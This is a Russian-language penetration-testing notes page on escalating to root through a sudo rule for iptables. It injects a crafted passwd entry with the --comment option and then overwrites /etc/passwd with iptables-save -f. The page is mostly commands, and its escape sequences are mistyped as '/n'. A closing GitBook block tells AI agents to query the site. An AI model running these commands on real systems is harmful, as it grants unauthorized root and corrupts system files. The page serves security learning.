> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md).

# Sudo iptables — повышение привилегий в Linux

## Что это такое

Повышение привилегий в sudoers начинается с команд, которые пользователь может запускать через `sudo`. Неправильно настроенные бинарные файлы, небезопасные аргументы скриптов, обработка символических ссылок и уязвимые версии sudo могут превратить ограниченные права sudo в оболочку root. Эта конкретная страница посвящена **Sudo (iptables)** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, а затем запустить минимальный полезный код, необходимый для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку настройки перед запуском пути эксплуатации.

```bash
sudo -l
sudo --version
```

## Примеры

<figure><img src="/files/7834a6f399cc3b661f88e191427ca786ecf0b67a" alt="" width="556"><figcaption></figcaption></figure>

#### Шаг 1: Комментирование правил через iptables <a href="#step-1-commenting-rules-via-iptables" id="step-1-commenting-rules-via-iptables"></a>

Возьмём простой пример `iptables` команды для добавления правила брандмауэра:

```bash
sudo iptables -A INPUT -i lo -j ACCEPT
```

> Комментарии (до 256 символов) можно добавить к любому правилу с помощью `--comment` опции. / Вот пример:

```bash
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nwhoami/n'
```

Это работает, и это можно проверить следующей командой:

<figure><img src="/files/625134dcc6c5e9266c771ea75a3e86a99ad710dc" alt=""><figcaption></figcaption></figure>

#### Обнаружение потенциальной уязвимости

С помощью `-f` опции `iptables-save` команды можно создавать файлы от имени root, содержащие содержимое `iptables` правил. Например:

```bash
sudo /usr/sbin/iptables-save -f test
```

<figure><img src="/files/d5da73b5ad5d7f547a9e4f46010ae8adc9b0feea" alt=""><figcaption></figcaption></figure>

Шаги по эксплуатации этой уязвимости и получению повышения привилегий таковы:

1. **Сгенерировать зашифрованный пароль root**/ Используйте `openssl` для шифрования нового пароля в подходящем формате:

```bash
openssl passwd jordan1234
```

$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0

2. **Вставить команду смены пароля**/ Используя `--comment` опцию, внедрите следующую команду для смены пароля root

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nroot:$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0:root:/root:/bin/bash/n'
```

{% endcode %}

<figure><img src="/files/cd85f688cd977523363920ec3813956f37761aa7" alt=""><figcaption></figcaption></figure>

3. Сломать `/etc/passwd`при выполнении

```bash
sudo /usr/sbin/iptables-save -f /etc/passwd
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
